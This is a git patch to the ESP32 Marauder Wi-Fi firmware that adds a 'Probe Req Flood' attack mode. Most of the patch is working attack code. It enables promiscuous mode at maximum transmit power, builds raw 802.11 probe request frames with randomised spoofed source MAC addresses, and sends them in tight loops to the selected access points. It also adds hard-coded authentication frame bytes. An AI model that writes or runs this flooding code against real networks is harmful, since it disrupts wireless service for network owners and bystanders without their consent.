From d2b89654e63eaed4c626414d4040c0ea16eda50d Mon Sep 17 00:00:00 2001 From: Just Call Me Koko Date: Sun, 9 May 2021 00:36:27 -0400 Subject: [PATCH] Add probe request attack --- esp32_marauder/MenuFunctions.cpp | 20 +++-- esp32_marauder/WiFiScan.cpp | 149 +++++++++++++++++++++++++++++++ esp32_marauder/WiFiScan.h | 39 ++++++++ 3 files changed, 202 insertions(+), 6 deletions(-) diff --git a/esp32_marauder/MenuFunctions.cpp b/esp32_marauder/MenuFunctions.cpp index 31f2e5f..9e14bfa 100644 --- a/esp32_marauder/MenuFunctions.cpp +++ b/esp32_marauder/MenuFunctions.cpp @@ -167,6 +167,9 @@ void MenuFunctions::addAPGFX(){ lv_obj_t * label; + list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Exit"); + lv_obj_set_event_cb(list_btn, ap_list_cb); + for (int i = 0; i < access_points->size(); i++) { char buf[access_points->get(i).essid.length() + 1] = {}; access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1); @@ -186,9 +189,6 @@ void MenuFunctions::addAPGFX(){ //label = lv_label_create(btn1, NULL); //lv_label_set_text(label, buf); } - - list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Exit"); - lv_obj_set_event_cb(list_btn, ap_list_cb); } void ap_list_cb(lv_obj_t * btn, lv_event_t event) { @@ -449,6 +449,9 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) { // Build list of files from the SD card lv_obj_t * list_btn; + + list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel"); + lv_obj_set_event_cb(list_btn, test_btn_cb); while (true) { File entity = scripts.openNextFile(); @@ -471,9 +474,6 @@ void load_btn_cb(lv_obj_t * load_btn, lv_event_t event) { } scripts.close(); - - list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Cancel"); - lv_obj_set_event_cb(list_btn, test_btn_cb); } } @@ -672,6 +672,7 @@ void MenuFunctions::main(uint32_t currentTime) // Get the display buffer out of the way if ((wifi_scan_obj.currentScanMode != WIFI_SCAN_OFF ) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) && + (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL)) //(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST)) display_obj.displayBuffer(); @@ -710,6 +711,7 @@ void MenuFunctions::main(uint32_t currentTime) (wifi_scan_obj.currentScanMode == WIFI_SCAN_ALL) || (wifi_scan_obj.currentScanMode == WIFI_SCAN_DEAUTH) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_SPAM) || + (wifi_scan_obj.currentScanMode == WIFI_ATTACK_AUTH) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_RICK_ROLL) || (wifi_scan_obj.currentScanMode == WIFI_ATTACK_BEACON_LIST) || (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) || @@ -734,6 +736,7 @@ void MenuFunctions::main(uint32_t currentTime) // Check if any key coordinate boxes contain the touch coordinates // This is for when on a menu if ((wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_SPAM) && + (wifi_scan_obj.currentScanMode != WIFI_ATTACK_AUTH) && (wifi_scan_obj.currentScanMode != WIFI_ATTACK_RICK_ROLL)) //(wifi_scan_obj.currentScanMode != WIFI_ATTACK_BEACON_LIST)) { @@ -1204,6 +1207,11 @@ void MenuFunctions::RunSetup() this->drawStatusBar(); wifi_scan_obj.StartScan(WIFI_ATTACK_RICK_ROLL, TFT_YELLOW); }); + addNodes(&wifiAttackMenu, "Probe Req Flood", TFT_RED, NULL, PROBE_SNIFF, [this]() { + display_obj.clearScreen(); + this->drawStatusBar(); + wifi_scan_obj.StartScan(WIFI_ATTACK_AUTH, TFT_RED); + }); // Build WiFi General menu wifiGeneralMenu.parentMenu = &wifiMenu; diff --git a/esp32_marauder/WiFiScan.cpp b/esp32_marauder/WiFiScan.cpp index 35b43c6..7f05e9e 100644 --- a/esp32_marauder/WiFiScan.cpp +++ b/esp32_marauder/WiFiScan.cpp @@ -266,6 +266,8 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color) RunBeaconSpam(scan_mode, color); else if (scan_mode == WIFI_ATTACK_RICK_ROLL) RunRickRoll(scan_mode, color); + else if (scan_mode == WIFI_ATTACK_AUTH) + RunProbeFlood(scan_mode, color); else if (scan_mode == BT_SCAN_ALL) RunBluetoothScan(scan_mode, color); else if (scan_mode == BT_SCAN_SKIMMERS) @@ -341,6 +343,7 @@ void WiFiScan::StopScan(uint8_t scan_mode) (currentScanMode == WIFI_SCAN_DEAUTH) || (currentScanMode == WIFI_ATTACK_BEACON_LIST) || (currentScanMode == WIFI_ATTACK_BEACON_SPAM) || + (currentScanMode == WIFI_ATTACK_AUTH) || (currentScanMode == WIFI_ATTACK_RICK_ROLL) || (currentScanMode == WIFI_PACKET_MONITOR) || (currentScanMode == LV_JOIN_WIFI)) @@ -827,6 +830,37 @@ void WiFiScan::RunBeaconList(uint8_t scan_mode, uint16_t color) } */ +// Function to prepare for beacon spam +void WiFiScan::RunProbeFlood(uint8_t scan_mode, uint16_t color) { + display_obj.TOP_FIXED_AREA_2 = 48; + display_obj.tteBar = true; + display_obj.print_delay_1 = 15; + display_obj.print_delay_2 = 10; + //display_obj.clearScreen(); + display_obj.initScrollValues(true); + display_obj.tft.setTextWrap(false); + display_obj.tft.setTextColor(TFT_BLACK, color); + display_obj.tft.fillRect(0,16,240,16, color); + display_obj.tft.drawCentreString(" Auth Flood ",120,16,2); + display_obj.touchToExit(); + display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); + packets_sent = 0; + //esp_wifi_set_mode(WIFI_MODE_STA); + //WiFi.mode(WIFI_AP_STA); + esp_wifi_init(&cfg); + esp_wifi_set_storage(WIFI_STORAGE_RAM); + //WiFi.mode(WIFI_AP_STA); + esp_wifi_set_mode(WIFI_AP_STA); + esp_wifi_start(); + esp_wifi_set_promiscuous_filter(NULL); + esp_wifi_set_promiscuous(true); + esp_wifi_set_max_tx_power(78); + this->wifi_initialized = true; + initTime = millis(); + //display_obj.clearScreen(); + //Serial.println("End of func"); +} + // Function to prepare for beacon spam void WiFiScan::RunBeaconSpam(uint8_t scan_mode, uint16_t color) { @@ -1783,6 +1817,103 @@ void WiFiScan::broadcastRandomSSID(uint32_t currentTime) { //Serial.println("Sent packets"); } +// Function to send probe flood to all "active" access points +void WiFiScan::sendProbeAttack(uint32_t currentTime) { + // Itterate through all access points in list + for (int i = 0; i < access_points->size(); i++) { + + // Check if active + if (access_points->get(i).selected) { + this->set_channel = access_points->get(i).channel; + esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE); + delay(1); + + // Build packet + // Randomize SRC MAC + + prob_req_packet[10] = random(256); + prob_req_packet[11] = random(256); + prob_req_packet[12] = random(256); + prob_req_packet[13] = random(256); + prob_req_packet[14] = random(256); + prob_req_packet[15] = random(256); + + /* + prob_req_packet[10] = 0xde; + prob_req_packet[11] = 0xad; + prob_req_packet[12] = 0xbe; + prob_req_packet[13] = 0xef; + prob_req_packet[14] = 0xde; + prob_req_packet[15] = 0xad; + */ + + // Set dest + //assoc_packet[4] = access_points->get(i).bssid[0]; + //assoc_packet[5] = access_points->get(i).bssid[1]; + //assoc_packet[6] = access_points->get(i).bssid[2]; + //assoc_packet[7] = access_points->get(i).bssid[3]; + //assoc_packet[8] = access_points->get(i).bssid[4]; + //assoc_packet[9] = access_points->get(i).bssid[5]; + + // Set det No. 2 + //assoc_packet[16] = access_points->get(i).bssid[0]; + //assoc_packet[17] = access_points->get(i).bssid[1]; + //assoc_packet[18] = access_points->get(i).bssid[2]; + //assoc_packet[19] = access_points->get(i).bssid[3]; + //assoc_packet[20] = access_points->get(i).bssid[4]; + //assoc_packet[21] = access_points->get(i).bssid[5]; + + // Set SSID length + int ssidLen = access_points->get(i).essid.length(); + //int rand_len = sizeof(rand_reg); + int fullLen = ssidLen; + prob_req_packet[25] = fullLen; + + // Insert ESSID + char buf[access_points->get(i).essid.length() + 1] = {}; + access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1); + + for(int i = 0; i < ssidLen; i++) + prob_req_packet[26 + i] = buf[i]; + + /* + * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24, + 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a, + 0xad, 0x01, 0x17, 0xff, 0xff, 0x00, + 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00 + */ + + uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12, + 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c, + 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff, + 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00}; + + uint8_t good_probe_req_packet[26 + fullLen + 40] = {}; + + for (int i = 0; i < 26 + fullLen; i++) + good_probe_req_packet[i] = prob_req_packet[i]; + + for(int i = 0; i < 40; i++) + good_probe_req_packet[26 + fullLen + i] = postSSID[i]; + + + + // Send packet + esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false); + esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false); + esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false); + + packets_sent = packets_sent + 3; + } + } +} + void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { @@ -2432,6 +2563,24 @@ void WiFiScan::main(uint32_t currentTime) { eapolMonitorMain(currentTime); } + else if (currentScanMode == WIFI_ATTACK_AUTH) { + for (int i = 0; i < 55; i++) + this->sendProbeAttack(currentTime); + + if (currentTime - initTime >= 1000) { + initTime = millis(); + String displayString = ""; + String displayString2 = ""; + displayString.concat("packets/sec: "); + displayString.concat(packets_sent); + for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++) + displayString2.concat(" "); + display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK); + display_obj.showCenterText(displayString2, 160); + display_obj.showCenterText(displayString, 160); + packets_sent = 0; + } + } else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM)) { // Need this for loop because getTouch causes ~10ms delay diff --git a/esp32_marauder/WiFiScan.h b/esp32_marauder/WiFiScan.h index 7f9658f..05475f9 100644 --- a/esp32_marauder/WiFiScan.h +++ b/esp32_marauder/WiFiScan.h @@ -47,6 +47,7 @@ #define WIFI_ATTACK_BEACON_LIST 15 #define WIFI_SCAN_TARGET_AP 16 #define LV_SELECT_AP 17 +#define WIFI_ATTACK_AUTH 18 #define GRAPH_REFRESH 100 @@ -144,6 +145,42 @@ class WiFiScan /*36*/ 0x00 }; + /*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID + 0x00, 0x01, // Sequence number + 0x00, 0x00, // Algo + 0x01, 0x00, // Auth sequence number + 0x00, 0x00, // Status Code + 0x7F, 0x08, + 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40, + 0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple + 0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00, + 0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00, + 0x00 + };*/ + uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, + 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, + 0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a, + 0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd, + 0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10, + 0x00, 0x00, 0x00}; + + uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00, + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Dest + 0x01, 0x00, // Sequence + 0x00, // SSID Parameter + 0x00, // SSID Length + /* SSID */ + }; + void packetMonitorMain(uint32_t currentTime); void eapolMonitorMain(uint32_t currentTime); void changeChannel(); @@ -153,12 +190,14 @@ class WiFiScan void tftDrawChannelScaleButtons(); void tftDrawColorKey(); void tftDrawGraphObjects(); + void sendProbeAttack(uint32_t currentTime); void broadcastRandomSSID(uint32_t currentTime); void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid); void broadcastSetSSID(uint32_t current_time, char* ESSID); void RunAPScan(uint8_t scan_mode, uint16_t color); void RunRickRoll(uint8_t scan_mode, uint16_t color); void RunBeaconSpam(uint8_t scan_mode, uint16_t color); + void RunProbeFlood(uint8_t scan_mode, uint16_t color); void RunBeaconList(uint8_t scan_mode, uint16_t color); void RunEspressifScan(uint8_t scan_mode, uint16_t color); void RunPwnScan(uint8_t scan_mode, uint16_t color);